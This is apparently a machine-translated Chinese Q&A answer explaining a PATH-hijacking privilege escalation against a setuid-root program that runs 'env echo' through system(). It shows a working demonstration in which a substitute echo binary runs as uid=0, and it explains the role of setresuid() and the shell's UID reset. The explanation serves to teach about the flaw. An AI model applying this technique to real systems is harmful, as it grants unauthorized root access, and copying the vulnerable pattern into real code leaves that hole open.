您可以覆盖该PATH
变量以指向具有自定义版本的目录,echo
并且由于echo
使用 执行env
,因此它不被视为内置。
仅当代码以特权用户身份运行时,这才构成漏洞。
在下面的示例中,文件 vc 包含问题中的代码。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
请注意,在问题中发布的易受攻击的代码中,通过调用setresuid()
之前调用来设置真实用户 ID、有效用户 ID 和保存的 set-user-ID,即使仅将有效用户 ID 设置为system()
特权用户 ID 和真实用户 ID 仍然是非特权用户(例如,当依赖上述文件上的 set-user-ID 位时就是这种情况)。如果不调用setresuid()
运行的 shell,system()
会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。然而,当易受攻击的代码使用特权用户的真实用户 ID 运行时,system()
单独调用就足够了。引用sh
手册页:
如果 shell 以不等于实际用户(组)id 的有效用户(组)id 启动,并且未提供 -p 选项,则不读取启动文件,不从环境继承 shell 函数,SHELLOPTS变量,如果它出现在环境中,则被忽略,并且将有效用户id设置为真实用户id。如果在调用时提供了 -p 选项,则启动行为是相同的,但不会重置有效用户 ID。
另外,请注意它setresuid()
不是便携式的,但setuid()
也setreuid()
可以用于相同的效果。